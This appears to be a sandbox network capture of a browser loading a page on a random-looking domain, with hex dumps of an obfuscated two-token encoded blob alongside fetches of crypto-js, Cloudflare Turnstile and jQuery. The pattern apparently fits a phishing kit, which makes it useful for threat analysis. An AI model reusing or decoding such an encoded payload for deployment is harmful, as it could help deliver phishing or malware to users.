2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 Data Ascii: g44Wk44Wk44Wk776g776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk44Wk776g776g776g44Wk776g776g44Wk776g776g44Wk776g776g776g776g44Wk776g44Wk44Wk776g776g776g776g44Wk776g776g776g776g44Wk44Wk776g44Wk44Wk776g44Wk44Wk776g44Wk776g44Wk776g77
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 Data Ascii: 776g44Wk776g44Wk44Wk44Wk776g44Wk44Wk44Wk44Wk776g776g44Wk776g44Wk776g44Wk776g776g776g44Wk776g776g44Wk776g776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk776g776g44Wk776g776g776g776g776g776g44Wk776g44Wk44Wk776g44Wk44Wk776g776g776g776g44Wk776g44Wk776g776g776
2025-03-18 12:33:29 UTC	1369	IN	Data Raw: 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 37 37 36 67 34 34 57 6b 34 34 57 6b 34 34 57 6b 34 34 57 6b 37 37 36 67 34 34 57 6b 34 34 57 6b Data Ascii: 76g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g776g44Wk776g776g776g776g776g776g44Wk44Wk44Wk44Wk776g44Wk44Wk

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:29 UTC	690	OUT	GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:30 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 18 Mar 2025 12:33:30 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"61182885-40eb" Last-Modified: Sat, 14 Aug 2021 20:33:09 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 18803 Expires: Sun, 08 Mar 2026 12:33:30 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fmw0OhkqmIL9wRyF2z6X%2Bc8XauVkFttNRTBYwUYzmVeKBvLGPtsH9QPONHHJHqvUu2oa03kqB3TnHrD%2FTsD9gr9BHyrMUQbCUUbKKt%2Fe8Cdcr4%2Filr5r1HOWfShiKfZVwtb3WzEc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 9224c2430bab42e8-EWR alt-svc: h3=":443"; ma=86400
2025-03-18 12:33:30 UTC	410	IN	Data Raw: 37 62 66 32 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6e 2c 6f 2c 73 2c 61 2c 68 2c 74 2c 65 2c 6c 2c 72 2c 69 2c 63 2c 66 2c 64 2c 75 2c 70 2c 53 2c 78 2c 62 2c 41 2c 48 2c 7a 2c 5f 2c 76 2c 67 2c 79 2c 42 2c 77 2c 6b 2c 6d 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 3d 55 7c 7c 66 75 6e 63 74 69 6f 6e 28 68 29 7b Data Ascii: 7bf2!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 54 68 69 73 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3f 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 3a 69 29 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3f 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 3a 69 29 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 69 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 76 61 72 20 72 3d 4f 62 6a 65 63 74 2e 63 72 65 Data Ascii: f globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.cre
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 77 6f 72 64 73 3d 74 68 69 73 2e 77 6f 72 64 73 2e 73 6c 69 63 65 28 30 29 2c 74 7d 2c 72 61 6e 64 6f 6d 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 5b 5d 2c 72 3d 30 3b 72 3c 74 3b 72 2b 3d 34 29 65 2e 70 75 73 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 69 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 29 74 72 79 7b 72 65 74 75 72 6e 20 69 2e 67 65 74 52 61 6e 64 6f 6d 56 61 6c 75 65 73 28 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 31 29 29 5b 30 5d 7d 63 61 74 63 68 28 74 29 7b 7d 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 69 2e 72 61 6e 64 6f 6d 42 79 74 65 73 Data Ascii: call(this);return t.words=this.words.slice(0),t},random:function(t){for(var e=[],r=0;r<t;r+=4)e.push(function(){if(i){if("function"==typeof i.getRandomValues)try{return i.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof i.randomBytes
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 70 65 6f 66 20 74 26 26 28 74 3d 66 2e 70 61 72 73 65 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 68 2e 63 65 69 6c 28 73 29 3a 68 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 6e 3d 68 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 61 3d 30 3b 61 3c 63 Data Ascii: peof t&&(t=f.parse(t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?h.ceil(s):h.max((0\|s)-this._minBufferSize,0))o,n=h.min(4*c,n);if(c){for(var a=0;a<c
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 45 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 45 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 45 5b 31 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 33 5d 3d 65 5b 33 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 32 5d 3e 3e 3e 30 3c 45 5b 32 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 34 5d 3d 65 5b 34 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 33 5d 3e 3e 3e 30 3c 45 5b 33 5d 3e 3e 3e Data Ascii: var t=this._X,e=this._C,r=0;r<8;r++)E[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<E[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<E[1]>>>0?1:0)\|0,e[3]=e[3]+1295307597+(e[2]>>>0<E[2]>>>0?1:0)\|0,e[4]=e[4]+3545052371+(e[3]>>>0<E[3]>>>
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 3b 49 5b 72 5d 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 5e 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 29 2b 28 28 36 35 35 33 35 26 69 29 2a 69 7c 30 29 7d 74 5b 30 5d 3d 49 5b 30 5d 2b 28 49 5b 37 5d 3c 3c 31 36 7c 49 5b 37 5d 3e 3e 3e 31 36 29 2b 28 49 5b 36 5d 3c 3c 31 36 7c 49 5b 36 5d 3e 3e 3e 31 36 29 7c 30 2c 74 5b 31 5d 3d 49 5b 31 5d 2b 28 49 5b 30 5d 3c 3c 38 7c 49 5b 30 5d 3e 3e 3e 32 34 29 2b 49 5b 37 5d 7c 30 2c 74 5b 32 5d 3d 49 5b 32 5d 2b 28 49 5b 31 5d 3c 3c 31 36 7c 49 5b 31 5d 3e 3e 3e 31 36 29 2b 28 49 5b 30 5d 3c 3c 31 36 7c 49 5b 30 Data Ascii: for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16;I[r]=((nn>>>17)+no>>>15)+oo^((4294901760&i)i\|0)+((65535&i)*i\|0)}t[0]=I[0]+(I[7]<<16\|I[7]>>>16)+(I[6]<<16\|I[6]>>>16)\|0,t[1]=I[1]+(I[0]<<8\|I[0]>>>24)+I[7]\|0,t[2]=I[2]+(I[1]<<16\|I[1]>>>16)+(I[0]<<16\|I[0
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 72 2c 74 2e 62 79 74 65 4f 66 66 73 65 74 2c 74 2e 62 79 74 65 4c 65 6e 67 74 68 29 3a 74 29 69 6e 73 74 61 6e 63 65 6f 66 20 55 69 6e 74 38 41 72 72 61 79 29 7b 66 6f 72 28 76 61 72 20 65 3d 74 2e 62 79 74 65 4c 65 6e 67 74 68 2c 72 3d 5b 5d 2c 69 3d 30 3b 69 3c 65 3b 69 2b 2b 29 72 5b 69 3e 3e 3e 32 5d 7c 3d 74 5b 69 5d 3c 3c 32 34 2d 69 25 34 2a 38 3b 73 2e 63 61 6c 6c 28 74 68 69 73 2c 72 2c 65 29 7d 65 6c 73 65 20 73 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 29 2e 70 72 6f 74 6f 74 79 70 65 3d 50 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 55 2c 6e 3d 74 2e 6c 69 62 2e 57 6f 72 64 41 72 72 61 79 2c 74 3d 74 2e 65 6e 63 3b 74 2e 55 74 66 31 36 3d 74 2e 55 74 66 31 36 42 45 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 Data Ascii: r,t.byteOffset,t.byteLength):t)instanceof Uint8Array){for(var e=t.byteLength,r=[],i=0;i<e;i++)r[i>>>2]\|=t[i]<<24-i%4*8;s.call(this,r,e)}else s.apply(this,arguments)}).prototype=P),function(){var t=U,n=t.lib.WordArray,t=t.enc;t.Utf16=t.Utf16BE={stringify:f
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 68 61 72 41 74 28 36 34 29 3b 72 65 74 75 72 6e 21 6f 7c 7c 2d 31 21 3d 3d 28 6f 3d 74 2e 69 6e 64 65 78 4f 66 28 6f 29 29 26 26 28 65 3d 6f 29 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 66 6f 72 28 76 61 72 20 69 3d 5b 5d 2c 6e 3d 30 2c 6f 3d 30 3b 6f 3c 65 3b 6f 2b 2b 29 7b 76 61 72 20 73 2c 63 3b 6f 25 34 26 26 28 73 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 2d 31 29 5d 3c 3c 6f 25 34 2a 32 2c 63 3d 72 5b 74 2e 63 68 61 72 43 6f 64 65 41 74 28 6f 29 5d 3e 3e 3e 36 2d 6f 25 34 2a 32 2c 63 3d 73 7c 63 2c 69 5b 6e 3e 3e 3e 32 5d 7c 3d 63 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 29 7d 72 65 74 75 72 6e 20 61 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 Data Ascii: harAt(64);return!o\|\|-1!==(o=t.indexOf(o))&&(e=o),function(t,e,r){for(var i=[],n=0,o=0;o<e;o++){var s,c;o%4&&(s=r[t.charCodeAt(o-1)]<<o%42,c=r[t.charCodeAt(o)]>>>6-o%42,c=s\|c,i[n>>>2]\|=c<<24-n%4*8,n++)}return a.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOP
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 61 2e 73 69 6e 28 74 2b 31 29 29 7c 30 7d 28 29 3b 65 3d 65 2e 4d 44 35 3d 69 2e 65 78 74 65 6e 64 28 7b 5f 64 6f 52 65 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 68 61 73 68 3d 6e 65 77 20 72 2e 69 6e 69 74 28 5b 31 37 33 32 35 38 34 31 39 33 2c 34 30 32 33 32 33 33 34 31 37 2c 32 35 36 32 33 38 33 31 30 32 2c 32 37 31 37 33 33 38 37 38 5d 29 7d 2c 5f 64 6f 50 72 6f 63 65 73 73 42 6c 6f 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 31 36 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 65 2b 72 2c 6e 3d 74 5b 69 5d 3b 74 5b 69 5d 3d 31 36 37 31 31 39 33 35 26 28 6e 3c 3c 38 7c 6e 3e 3e 3e 32 34 29 7c 34 32 37 38 32 35 35 33 36 30 26 28 6e 3c 3c 32 34 7c 6e 3e 3e 3e 38 29 7d 76 61 72 20 6f 3d 74 68 69 Data Ascii: a.sin(t+1))\|0}();e=e.MD5=i.extend({_doReset:function(){this._hash=new r.init([1732584193,4023233417,2562383102,271733878])},_doProcessBlock:function(t,e){for(var r=0;r<16;r++){var i=e+r,n=t[i];t[i]=16711935&(n<<8\|n>>>24)\|4278255360&(n<<24\|n>>>8)}var o=thi
2025-03-18 12:33:30 UTC	1369	IN	Data Raw: 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 42 2c 34 2c 41 5b 34 30 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 73 2c 31 31 2c 41 5b 34 31 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 68 2c 31 36 2c 41 5b 34 32 5d 29 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 64 2c 32 33 2c 41 5b 34 33 5d 29 2c 6d 3d 43 28 6d 2c 62 2c 78 2c 53 2c 5f 2c 34 2c 41 5b 34 34 5d 29 2c 53 3d 43 28 53 2c 6d 2c 62 2c 78 2c 67 2c 31 31 2c 41 5b 34 35 5d 29 2c 78 3d 43 28 78 2c 53 2c 6d 2c 62 2c 6b 2c 31 36 2c 41 5b 34 36 5d 29 2c 6d 3d 44 28 6d 2c 62 3d 43 28 62 2c 78 2c 53 2c 6d 2c 61 2c 32 33 2c 41 5b 34 37 5d 29 2c 78 2c 53 2c 73 2c 36 2c 41 5b 34 38 5d 29 2c 53 3d 44 28 53 2c 6d 2c 62 2c 78 2c 75 2c 31 30 2c 41 5b 34 39 5d 29 2c 78 3d 44 28 78 2c 53 2c 6d 2c 62 2c 77 2c 31 35 2c 41 Data Ascii: ),m=C(m,b,x,S,B,4,A[40]),S=C(S,m,b,x,s,11,A[41]),x=C(x,S,m,b,h,16,A[42]),b=C(b,x,S,m,d,23,A[43]),m=C(m,b,x,S,_,4,A[44]),S=C(S,m,b,x,g,11,A[45]),x=C(x,S,m,b,k,16,A[46]),m=D(m,b=C(b,x,S,m,a,23,A[47]),x,S,s,6,A[48]),S=D(S,m,b,x,u,10,A[49]),x=D(x,S,m,b,w,15,A

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:30 UTC	703	OUT	GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:30 UTC	386	IN	HTTP/1.1 302 Found Date: Tue, 18 Mar 2025 12:33:30 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 9224c24318eab2c0-EWR alt-svc: h3=":443"; ma=86400

Timestamp	Bytes transferred	Direction	Data
2025-03-18 12:33:30 UTC	662	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://ajd.asfhkkiv.es/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-18 12:33:30 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 3542811 Date: Tue, 18 Mar 2025 12:33:30 GMT X-Served-By: cache-lga21931-LGA, cache-nyc-kteb1890030-NYC X-Cache: HIT, HIT X-Cache-Hits: 5930, 0 X-Timer: S1742301210.068320,VS0,VE1 Vary: Accept-Encoding
2025-03-18 12:33:30 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-18 12:33:30 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-18 12:33:30 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object 